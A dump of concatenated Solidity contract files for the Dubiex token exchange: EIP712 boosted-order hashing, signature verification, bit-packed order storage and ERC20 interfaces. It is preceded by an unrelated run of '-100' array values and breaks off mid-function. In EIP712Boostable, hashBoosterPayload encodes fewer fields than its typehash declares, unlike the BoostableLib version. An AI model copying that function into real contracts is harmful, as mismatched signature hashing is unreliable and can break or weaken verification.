-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@prps/solidity/contracts/EIP712Boostable.sol";
import "./DubiexLib.sol";
/**
* @dev Dubiex Boostable primitives following the EIP712 standard
*/
abstract contract Boostable is EIP712Boostable {
bytes32 private constant BOOSTED_MAKE_ORDER_TYPEHASH = keccak256(
"BoostedMakeOrder(MakeOrderInput input,address maker,BoosterFuel fuel,BoosterPayload boosterPayload)BoosterFuel(uint96 dubi,uint96 unlockedPrps,uint96 lockedPrps,uint96 intrinsicFuel)BoosterPayload(address booster,uint64 timestamp,uint64 nonce,bool isLegacySignature)MakeOrderInput(uint96 makerValue,uint96 takerValue,OrderPair pair,uint32 orderId,uint32 ancestorOrderId,uint128 updatedRatioWei)OrderPair(address makerContractAddress,address takerContractAddress,uint8 makerCurrencyType,uint8 takerCurrencyType)"
);
bytes32 private constant BOOSTED_TAKE_ORDER_TYPEHASH = keccak256(
"BoostedTakeOrder(TakeOrderInput input,address taker,BoosterFuel fuel,BoosterPayload boosterPayload)BoosterFuel(uint96 dubi,uint96 unlockedPrps,uint96 lockedPrps,uint96 intrinsicFuel)BoosterPayload(address booster,uint64 timestamp,uint64 nonce,bool isLegacySignature)TakeOrderInput(uint32 id,address maker,uint96 takerValue,uint256 maxTakerMakerRatio)"
);
bytes32 private constant BOOSTED_CANCEL_ORDER_TYPEHASH = keccak256(
"BoostedCancelOrder(CancelOrderInput input,BoosterFuel fuel,BoosterPayload boosterPayload)BoosterFuel(uint96 dubi,uint96 unlockedPrps,uint96 lockedPrps,uint96 intrinsicFuel)BoosterPayload(address booster,uint64 timestamp,uint64 nonce,bool isLegacySignature)CancelOrderInput(uint32 id,address maker)"
);
bytes32 private constant MAKE_ORDER_INPUT_TYPEHASH = keccak256(
"MakeOrderInput(uint96 makerValue,uint96 takerValue,OrderPair pair,uint32 orderId,uint32 ancestorOrderId,uint128 updatedRatioWei)OrderPair(address makerContractAddress,address takerContractAddress,uint8 makerCurrencyType,uint8 takerCurrencyType)"
);
bytes32 private constant TAKE_ORDER_INPUT_TYPEHASH = keccak256(
"TakeOrderInput(uint32 id,address maker,uint96 takerValue,uint256 maxTakerMakerRatio)"
);
bytes32 private constant CANCEL_ORDER_INPUT_TYPEHASH = keccak256(
"CancelOrderInput(uint32 id,address maker)"
);
bytes32 private constant ORDER_PAIR_TYPEHASH = keccak256(
"OrderPair(address makerContractAddress,address takerContractAddress,uint8 makerCurrencyType,uint8 takerCurrencyType)"
);
constructor(address optIn)
public
EIP712Boostable(
optIn,
keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256("Dubiex"),
keccak256("1"),
_getChainId(),
address(this)
)
)
)
{}
/**
* @dev A struct representing the payload of `boostedMakeOrder`.
*/
struct BoostedMakeOrder {
DubiexLib.MakeOrderInput input;
address payable maker;
BoosterFuel fuel;
BoosterPayload boosterPayload;
}
/**
* @dev A struct representing the payload of `boostedTakeOrder`.
*/
struct BoostedTakeOrder {
DubiexLib.TakeOrderInput input;
address payable taker;
BoosterFuel fuel;
BoosterPayload boosterPayload;
}
/**
* @dev A struct representing the payload of `boostedCancelOrder`.
*/
struct BoostedCancelOrder {
DubiexLib.CancelOrderInput input;
BoosterFuel fuel;
BoosterPayload boosterPayload;
}
function hashBoostedMakeOrder(
BoostedMakeOrder memory boostedMakeOrder,
address booster
) internal view returns (bytes32) {
return
BoostableLib.hashWithDomainSeparator(
_DOMAIN_SEPARATOR,
keccak256(
abi.encode(
BOOSTED_MAKE_ORDER_TYPEHASH,
hashMakeOrderInput(boostedMakeOrder.input),
boostedMakeOrder.maker,
BoostableLib.hashBoosterFuel(boostedMakeOrder.fuel),
BoostableLib.hashBoosterPayload(
boostedMakeOrder.boosterPayload,
booster
)
)
)
);
}
function hashBoostedTakeOrder(
BoostedTakeOrder memory boostedTakeOrder,
address booster
) internal view returns (bytes32) {
return
BoostableLib.hashWithDomainSeparator(
_DOMAIN_SEPARATOR,
keccak256(
abi.encode(
BOOSTED_TAKE_ORDER_TYPEHASH,
hashTakeOrderInput(boostedTakeOrder.input),
boostedTakeOrder.taker,
BoostableLib.hashBoosterFuel(boostedTakeOrder.fuel),
BoostableLib.hashBoosterPayload(
boostedTakeOrder.boosterPayload,
booster
)
)
)
);
}
function hashBoostedCancelOrder(
BoostedCancelOrder memory boostedCancelOrder,
address booster
) internal view returns (bytes32) {
return
BoostableLib.hashWithDomainSeparator(
_DOMAIN_SEPARATOR,
keccak256(
abi.encode(
BOOSTED_CANCEL_ORDER_TYPEHASH,
hashCancelOrderInput(boostedCancelOrder.input),
BoostableLib.hashBoosterFuel(boostedCancelOrder.fuel),
BoostableLib.hashBoosterPayload(
boostedCancelOrder.boosterPayload,
booster
)
)
)
);
}
function hashMakeOrderInput(DubiexLib.MakeOrderInput memory input)
private
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
MAKE_ORDER_INPUT_TYPEHASH,
input.makerValue,
input.takerValue,
hashOrderPair(input.pair),
input.orderId,
input.ancestorOrderId,
input.updatedRatioWei
)
);
}
function hashOrderPair(DubiexLib.OrderPair memory pair)
private
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
ORDER_PAIR_TYPEHASH,
pair.makerContractAddress,
pair.takerContractAddress,
pair.makerCurrencyType,
pair.takerCurrencyType
)
);
}
function hashTakeOrderInput(DubiexLib.TakeOrderInput memory input)
private
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
TAKE_ORDER_INPUT_TYPEHASH,
input.id,
input.maker,
input.takerValue,
input.maxTakerMakerRatio
)
);
}
function hashCancelOrderInput(DubiexLib.CancelOrderInput memory input)
private
pure
returns (bytes32)
{
return
keccak256(
abi.encode(CANCEL_ORDER_INPUT_TYPEHASH, input.id, input.maker)
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
import "./IOptIn.sol";
import "./BoostableLib.sol";
import "./IBoostableERC20.sol";
/**
* @dev Boostable base contract
*
* All deriving contracts are expected to implement EIP712 for the message signing.
*
*/
abstract contract EIP712Boostable {
using ECDSA for bytes32;
// solhint-disable-next-line var-name-mixedcase
IOptIn internal immutable _OPT_IN;
// solhint-disable-next-line var-name-mixedcase
bytes32 internal immutable _DOMAIN_SEPARATOR;
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
bytes32 private constant BOOSTER_PAYLOAD_TYPEHASH = keccak256(
"BoosterPayload(address booster,uint64 timestamp,uint64 nonce,bool isLegacySignature)"
);
bytes32 internal constant BOOSTER_FUEL_TYPEHASH = keccak256(
"BoosterFuel(uint96 dubi,uint96 unlockedPrps,uint96 lockedPrps,uint96 intrinsicFuel)"
);
// The boost fuel is capped to 10 of the respective token that will be used for payment.
uint96 internal constant MAX_BOOSTER_FUEL = 10 ether;
// A magic booster permission prefix
bytes6 private constant MAGIC_BOOSTER_PERMISSION_PREFIX = "BOOST-";
constructor(address optIn, bytes32 domainSeparator) public {
_OPT_IN = IOptIn(optIn);
_DOMAIN_SEPARATOR = domainSeparator;
}
// A mapping of mappings to keep track of used nonces by address to
// protect against replays. Each 'Boostable' contract maintains it's own
// state for nonces.
mapping(address => uint64) private _nonces;
//---------------------------------------------------------------
function getNonce(address account) external virtual view returns (uint64) {
return _nonces[account];
}
function getOptInStatus(address account)
internal
view
returns (IOptIn.OptInStatus memory)
{
return _OPT_IN.getOptInStatus(account);
}
/**
* @dev Called by every 'boosted'-function to ensure that `msg.sender` (i.e. a booster) is
* allowed to perform the call for `from` (the origin) by verifying that `messageHash`
* has been signed by `from`. Additionally, `from` provides a nonce to prevent
* replays. Boosts cannot be verified out of order.
*
* @param from the address that the boost is made for
* @param messageHash the reconstructed message hash based on the function input
* @param payload the booster payload
* @param signature the signature of `from`
*/
function verifyBoost(
address from,
bytes32 messageHash,
BoosterPayload memory payload,
Signature memory signature
) internal {
uint64 currentNonce = _nonces[from];
require(currentNonce == payload.nonce - 1, "AB-1");
_nonces[from] = currentNonce + 1;
_verifyBoostWithoutNonce(from, messageHash, payload, signature);
}
/**
* @dev Verify a boost without verifying the nonce.
*/
function _verifyBoostWithoutNonce(
address from,
bytes32 messageHash,
BoosterPayload memory payload,
Signature memory signature
) internal view {
// The sender must be the booster specified in the payload
require(msg.sender == payload.booster, "AB-2");
(bool isOptedInToSender, uint256 optOutPeriod) = _OPT_IN.isOptedInBy(
msg.sender,
from
);
// `from` must be opted-in to booster
require(isOptedInToSender, "AB-3");
// The given timestamp must not be greater than `block.timestamp + 1 hour`
// and at most `optOutPeriod(booster)` seconds old.
uint64 _now = uint64(block.timestamp);
uint64 _optOutPeriod = uint64(optOutPeriod);
bool notTooFarInFuture = payload.timestamp <= _now + 1 hours;
bool belowMaxAge = true;
// Calculate the absolute difference. Because of the small tolerance, `payload.timestamp`
// may be greater than `_now`:
if (payload.timestamp <= _now) {
belowMaxAge = _now - payload.timestamp <= _optOutPeriod;
}
// Signature must not be expired
require(notTooFarInFuture && belowMaxAge, "AB-4");
// NOTE: Currently, hardware wallets (e.g. Ledger, Trezor) do not support EIP712 signing (specifically `signTypedData_v4`).
// However, a user can still sign the EIP712 hash with the caveat that it's signed using `personal_sign` which prepends
// the prefix '"\x19Ethereum Signed Message:\n" + len(message)'.
//
// To still support that, we add the prefix to the hash if `isLegacySignature` is true.
if (payload.isLegacySignature) {
messageHash = messageHash.toEthSignedMessageHash();
}
// Valid, if the recovered address from `messageHash` with the given `signature` matches `from`.
address signer = ecrecover(
messageHash,
signature.v,
signature.r,
signature.s
);
if (!payload.isLegacySignature && signer != from) {
// As a last resort we try anyway, in case the caller simply forgot the `isLegacySignature` flag.
signer = ecrecover(
messageHash.toEthSignedMessageHash(),
signature.v,
signature.r,
signature.s
);
}
require(from == signer, "AB-5");
}
/**
* @dev Returns the hash of `payload` using the provided booster (i.e. `msg.sender`).
*/
function hashBoosterPayload(BoosterPayload memory payload, address booster)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
BOOSTER_PAYLOAD_TYPEHASH,
booster,
payload.timestamp,
payload.nonce
)
);
}
function _getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library DubiexLib {
enum CurrencyType {NULL, ETH, ERC20, BOOSTABLE_ERC20, ERC721}
// Enum is used to read only a specific part of the order pair from
// storage, since it is a bad idea to always perform 4 SLOADs.
enum OrderPairReadStrategy {SKIP, MAKER, TAKER, FULL}
struct OrderPair {
address makerContractAddress;
CurrencyType makerCurrencyType;
address takerContractAddress;
CurrencyType takerCurrencyType;
}
// To reduce the number of reads, the order pairs
// are stored packed and on read unpacked as required.
// Also see `OrderPair` and `OrderPairReadStrategy`.
struct PackedOrderPair {
// 20 bytes address + 1 byte currency type
uint168 makerPair;
// 20 bytes address + 1 byte currency type
uint168 takerPair;
}
struct PackedOrderBookItem {
// Serialized `UnpackedOrderBookItem`
uint256 packedData;
//
// Mostly zero
//
uint32 successorOrderId;
uint32 ancestorOrderId;
}
struct UnpackedOrderBookItem {
uint32 id;
uint96 makerValue;
uint96 takerValue;
uint32 orderPairAlias;
// The resolved pair based on the order pair alias
OrderPair pair;
OrderFlags flags;
}
// Struct that contains all unpacked data and the additional almost-always zero fields from
// the packed order bookt item - returned from `getOrder()` to be more user-friendly to consume.
struct PrettyOrderBookItem {
uint32 id;
uint96 makerValue;
uint96 takerValue;
uint32 orderPairAlias;
OrderPair pair;
OrderFlags flags;
uint32 successorOrderId;
uint32 ancestorOrderId;
}
struct OrderFlags {
bool isMakerERC721;
bool isTakerERC721;
bool isHidden;
bool hasSuccessor;
}
function packOrderBookItem(UnpackedOrderBookItem memory _unpacked)
internal
pure
returns (uint256)
{
// Bitpacking saves gas on read/write:
// 61287 gas
// struct Item1 {
// uint256 word1;
// uint256 word2;
// }
// // 62198 gas
// struct Item2 {
// uint256 word1;
// uint128 a;
// uint128 b;
// }
// // 62374 gas
// struct Item3 {
// uint256 word1;
// uint64 a;
// uint64 b;
// uint64 c;
// uint64 d;
// }
uint256 packedData;
uint256 offset;
// 1) Set first 32 bits to id
uint32 id = _unpacked.id;
packedData |= id;
offset += 32;
// 2) Set next 96 bits to maker value
uint96 makerValue = _unpacked.makerValue;
packedData |= uint256(makerValue) << offset;
offset += 96;
// 3) Set next 96 bits to taker value
uint96 takerValue = _unpacked.takerValue;
packedData |= uint256(takerValue) << offset;
offset += 96;
// 4) Set next 28 bits to order pair alias
// Since it is stored in a uint32 AND it with a bitmask where the first 28 bits are 1
uint32 orderPairAlias = _unpacked.orderPairAlias;
uint32 orderPairAliasMask = (1 << 28) - 1;
packedData |= uint256(orderPairAlias & orderPairAliasMask) << offset;
offset += 28;
// 5) Set remaining bits to flags
OrderFlags memory flags = _unpacked.flags;
if (flags.isMakerERC721) {
// Maker currency type is ERC721
packedData |= 1 << (offset + 0);
}
if (flags.isTakerERC721) {
// Taker currency type is ERC721
packedData |= 1 << (offset + 1);
}
if (flags.isHidden) {
// Order is hidden
packedData |= 1 << (offset + 2);
}
if (flags.hasSuccessor) {
// Order has a successor
packedData |= 1 << (offset + 3);
}
offset += 4;
assert(offset == 256);
return packedData;
}
function unpackOrderBookItem(uint256 packedData)
internal
pure
returns (UnpackedOrderBookItem memory)
{
UnpackedOrderBookItem memory _unpacked;
uint256 offset;
// 1) Read id from the first 32 bits
_unpacked.id = uint32(packedData >> offset);
offset += 32;
// 2) Read maker value from next 96 bits
_unpacked.makerValue = uint96(packedData >> offset);
offset += 96;
// 3) Read taker value from next 96 bits
_unpacked.takerValue = uint96(packedData >> offset);
offset += 96;
// 4) Read order pair alias from next 28 bits
uint32 orderPairAlias = uint32(packedData >> offset);
uint32 orderPairAliasMask = (1 << 28) - 1;
_unpacked.orderPairAlias = orderPairAlias & orderPairAliasMask;
offset += 28;
// NOTE: the caller still needs to read the order pair from storage
// with the unpacked alias
// 5) Read order flags from remaining bits
OrderFlags memory flags = _unpacked.flags;
flags.isMakerERC721 = (packedData >> (offset + 0)) & 1 == 1;
flags.isTakerERC721 = (packedData >> (offset + 1)) & 1 == 1;
flags.isHidden = (packedData >> (offset + 2)) & 1 == 1;
flags.hasSuccessor = (packedData >> (offset + 3)) & 1 == 1;
offset += 4;
assert(offset == 256);
return _unpacked;
}
function packOrderPair(OrderPair memory unpacked)
internal
pure
returns (PackedOrderPair memory)
{
uint168 packedMaker = uint160(unpacked.makerContractAddress);
packedMaker |= uint168(unpacked.makerCurrencyType) << 160;
uint168 packedTaker = uint160(unpacked.takerContractAddress);
packedTaker |= uint168(unpacked.takerCurrencyType) << 160;
return PackedOrderPair(packedMaker, packedTaker);
}
function unpackOrderPairAddressType(uint168 packed)
internal
pure
returns (address, CurrencyType)
{
// The first 20 bytes of order pair are used for the maker address
address unpackedAddress = address(packed);
// The next 8 bits for the maker currency type
CurrencyType unpackedCurrencyType = CurrencyType(uint8(packed >> 160));
return (unpackedAddress, unpackedCurrencyType);
}
/**
* @dev A struct representing the payload of `makeOrder`.
*/
struct MakeOrderInput {
uint96 makerValue;
uint96 takerValue;
OrderPair pair;
// An id of an existing order can be optionally provided to
// update the makerValue-takerValue ratio with a single call as opposed to cancel-then-make-new-order.
uint32 orderId;
// If specified, this order becomes a successor for the ancestor order and will be hidden until
// the ancestor has been filled.
uint32 ancestorOrderId;
// When calling make order using an existing order id, the `updatedRatio` will be applied on
// the `makerValue` to calculate the new `takerValue`.
uint128 updatedRatioWei;
}
/**
* @dev A struct representing the payload of `takeOrder`.
*/
struct TakeOrderInput {
uint32 id;
address payable maker;
uint96 takerValue;
// The expected max taker maker ratio of the order to take.
uint256 maxTakerMakerRatio;
}
/**
* @dev A struct representing the payload of `cancelOrder`.
*/
struct CancelOrderInput {
uint32 id;
address payable maker;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
struct Signature {
bytes32 r;
bytes32 s;
uint8 v;
}
interface IOptIn {
struct OptInStatus {
bool isOptedIn;
bool permaBoostActive;
address optedInTo;
uint32 optOutPeriod;
}
function getOptInStatusPair(address accountA, address accountB)
external
view
returns (OptInStatus memory, OptInStatus memory);
function getOptInStatus(address account)
external
view
returns (OptInStatus memory);
function isOptedInBy(address _sender, address _account)
external
view
returns (bool, uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
struct BoosterFuel {
uint96 dubi;
uint96 unlockedPrps;
uint96 lockedPrps;
uint96 intrinsicFuel;
}
struct BoosterPayload {
address booster;
uint64 timestamp;
uint64 nonce;
// Fallback for 'personal_sign' when e.g. using hardware wallets that don't support
// EIP712 signing (yet).
bool isLegacySignature;
}
// Library for Boostable hash functions that are completely inlined.
library BoostableLib {
bytes32 private constant BOOSTER_PAYLOAD_TYPEHASH = keccak256(
"BoosterPayload(address booster,uint64 timestamp,uint64 nonce,bool isLegacySignature)"
);
bytes32 internal constant BOOSTER_FUEL_TYPEHASH = keccak256(
"BoosterFuel(uint96 dubi,uint96 unlockedPrps,uint96 lockedPrps,uint96 intrinsicFuel)"
);
/**
* @dev Returns the hash of the packed DOMAIN_SEPARATOR and `messageHash` and is used for verifying
* a signature.
*/
function hashWithDomainSeparator(
bytes32 domainSeparator,
bytes32 messageHash
) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked("\x19\x01", domainSeparator, messageHash)
);
}
/**
* @dev Returns the hash of `payload` using the provided booster (i.e. `msg.sender`).
*/
function hashBoosterPayload(BoosterPayload memory payload, address booster)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
BOOSTER_PAYLOAD_TYPEHASH,
booster,
payload.timestamp,
payload.nonce,
payload.isLegacySignature
)
);
}
function hashBoosterFuel(BoosterFuel memory fuel)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
BOOSTER_FUEL_TYPEHASH,
fuel.dubi,
fuel.unlockedPrps,
fuel.lockedPrps,
fuel.intrinsicFuel
)
);
}
/**
* @dev Returns the tag found in the given `boosterMessage`.
*/
function _readBoosterTag(bytes memory boosterMessage)
internal
pure
returns (uint8)
{
// The tag is either the 32th byte or the 64th byte depending on whether
// the booster message contains dynamic bytes or not.
//
// If it contains a dynamic byte array, then the first word points to the first
// data location.
//
// Therefore, we read the 32th byte and check if it's >= 32 and if so,
// simply read the (32 + first word)th byte to get the tag.
//
// This imposes a limit on the number of tags we can support (<32), but
// given that it is very unlikely for so many tags to exist it is fine.
//
// Read the 32th byte to get the tag, because it is a uint8 padded to 32 bytes.
// i.e.
// -----------------------------------------------------------------v
// 0x0000000000000000000000000000000000000000000000000000000000000001
// ...
//
uint8 tag = uint8(boosterMessage[31]);
if (tag >= 32) {
// Read the (32 + tag) byte. E.g. if tag is 32, then we read the 64th:
// --------------------------------------------------------------------
// 0x0000000000000000000000000000000000000000000000000000000000000020 |
// 0000000000000000000000000000000000000000000000000000000000000001 <
// ...
//
tag = uint8(boosterMessage[31 + tag]);
}
return tag;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Token agnostic fuel struct that is passed around when the fuel is burned by a different (token) contract.
// The contract has to explicitely support the desired token that should be burned.
struct TokenFuel {
// A token alias that must be understood by the target contract
uint8 tokenAlias;
uint96 amount;
}
/**
* @dev Extends the interface of the ERC20 standard as defined in the EIP with
* `boostedTransferFrom` to perform transfers without having to rely on an allowance.
*/
interface IBoostableERC20 {
// ERC20
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
// Extension
/**
* @dev Moves `amount` tokens from `sender` to `recipient`.
*
* If the caller is known by the callee, then the implementation should skip approval checks.
* Also accepts a data payload, similar to ERC721's `safeTransferFrom` to pass arbitrary data.
*
*/
function boostedTransferFrom(
address sender,
address recipient,
uint256 amount,
bytes calldata data
) external returns (bool);
/**
* @dev Burns `fuel` from `from`.
*/
function burnFuel(address from, TokenFuel memory fuel) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721Holder.sol";
import "@openzeppelin/contracts/introspection/ERC165.sol";
import "@openzeppelin/contracts/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@prps/solidity/contracts/IBoostableERC20.sol";
import "./DubiexLib.sol";
import "./Boostable.sol";
/**
* @dev The Dubiex contract
*
* Supported currencies:
* - ETH
* - ERC20
* - BoostedERC20
* - ERC721
*
* Any owner of ERC721 tokens may wish to approve Dubiex for all his/her tokens,
* by calling `setApprovalForAll()`. Then approval for subsequent trades isn't required either.
*
* ERC20 can be approved once with an practically-infinite amount, then Dubiex requires
* approval only once as well.
*
* BoostedERC20 tokens are designed to work without any explicit approval for Dubiex.
*
* External functions:
* - makeOrder(s)
* - takeOrder(s)
* - cancelOrder(s)
* - getOrder()
* - boostedMakeOrder(Batch)
* - boostedTakeOrder(Batch)
* - boostedCanceleOrder(Batch)
*
*/
contract Dubiex is ReentrancyGuard, ERC721Holder, Boostable {
using SafeERC20 for IERC20;
bytes32 private constant _BOOSTABLE_ERC20_TOKEN_HASH = keccak256(
"BoostableERC20Token"
);
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.1.0/contracts/token/ERC721/ERC721.sol#L68
bytes4 private constant _ERC721_INTERFACE_HASH = 0x80ac58cd;
IERC1820Registry private constant _ERC1820_REGISTRY = IERC1820Registry(
0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24
);
// This is a empty order to workaround:
// "This variable is of storage pointer type and can be accessed without prior assignment, which would lead to undefined behaviour"
// In places where we need to return a zero-initialized storage order.
DubiexLib.PackedOrderBookItem private emptyOrder;
// Only required for burning fuel
address private immutable _prps;
address private immutable _dubi;
// Security mechanism which anyone can enable if the total supply of PRPS or DUBI should ever go >= 1 billion
bool private _killSwitchOn;
function activateKillSwitch() public {
require(!_killSwitchOn, "Dubiex: kill switch already on");
uint256 oneBillion = 1000000000 * 1 ether;
uint256 totalPrpsSupply = IERC20(_prps).totalSupply();
uint256 totalDubiSupply = IERC20(_dubi).totalSupply();
require(
totalPrpsSupply >= oneBillion || totalDubiSupply >= oneBillion,
"Dubiex: insufficient total supply for kill switch"
);
_killSwitchOn = true;
}
constructor(
address optIn,
address prps,
address dubi
) public ReentrancyGuard() Boostable(optIn) {
_prps = prps;
_dubi = dubi;
}
event MadeOrder(
uint32 id,
address maker,
// uint96 makerValue, uint96 takerValue, uint32 orderPairAlias, uint32 padding
uint256 packedData
);
event TookOrder(
uint32 id,
address maker,
address taker,
// uint96 makerValue, uint96 takerValue, uint32 orderPairAlias, uint32 padding
uint256 packedData
);
event CanceledOrder(address maker, uint32 id);
event UpdatedOrder(address maker, uint32 id);
/**
* @dev Order pair aliases are generated by incrementing a number. Although the counter
* is using 32 bits, we do not support more than 2**28 = 268_435_456 pairs for technical reasons.
*/
uint32 private _orderPairAliasCounter;
/**
* @dev A mapping of order pair alias to a packed order pair.
*/
mapping(uint32 => DubiexLib.PackedOrderPair) private _orderPairsByAlias;
/**
* @dev A reverse mapping of order pair hash to an order pair alias. Required to check if
* a given pair already exists when creating an order where the full pair information are
* provided instead of an alias. I.e.
* MakeOrder {
* ...
* makerCurrencyType: ...,
* takerCurrencyType: ...,
* makerContractAddress: ...,
* takerContractAddress: ...,
* }
*
* The hash of these four fields is used as the key of the mapping.
*/
mapping(bytes32 => uint32) private _orderPairAliasesByHash;
/**
* @dev Mapping of address to a counter for order ids.
*/
mapping(address => uint32) private _counters;
/**
* @dev Mapping of address to packed order book items.
*/
mapping(address => DubiexLib.PackedOrderBookItem[])
private _ordersByAddress;
/**
* @dev Get an order by id. If the id doesn't exist (e.g. got cancelled / filled), a default order is returned.
* The caller should therefore check the id of the returned item. Any non-zero value means the order exists.
*/
function getOrder(address maker, uint64 id)
public
view
returns (DubiexLib.PrettyOrderBookItem memory)
{
DubiexLib.PackedOrderBookItem[] storage orders
= _ordersByAddress[maker];
for (uint256 i = 0; i < orders.length; i++) {
DubiexLib.PackedOrderBookItem storage _packed = orders[i];
DubiexLib.UnpackedOrderBookItem memory _unpacked = DubiexLib
.unpackOrderBookItem(_packed.packedData);
if (_unpacked.id == id) {
DubiexLib.PrettyOrderBookItem memory pretty;
pretty.id = _unpacked.id;
pretty.makerValue = _unpacked.makerValue;
pretty.takerValue = _unpacked.takerValue;
pretty.orderPairAlias = _unpacked.orderPairAlias;
pretty.pair = getOrderPairByAlias(_unpacked.orderPairAlias);
pretty.flags = _unpacked.flags;
pretty.successorOrderId = _packed.successorOrderId;
pretty.ancestorOrderId = _packed.ancestorOrderId;
return pretty;
}
}
DubiexLib.PrettyOrderBookItem memory empty;
return empty;
}
/**
* @dev Get an order pair by alias.
*/
function getOrderPairByAlias(uint32 orderPairAlias)
public
view
returns (DubiexLib.OrderPair memory)
{
DubiexLib.OrderPair memory orderPair;
DubiexLib.PackedOrderPair storage packedOrderPair
= _orderPairsByAlias[orderPairAlias];
(
address makerContractAddress,
DubiexLib.CurrencyType makerCurrencyType
) = DubiexLib.unpackOrderPairAddressType(packedOrderPair.makerPair);
(
address takerContractAddress,
DubiexLib.CurrencyType takerCurrencyType
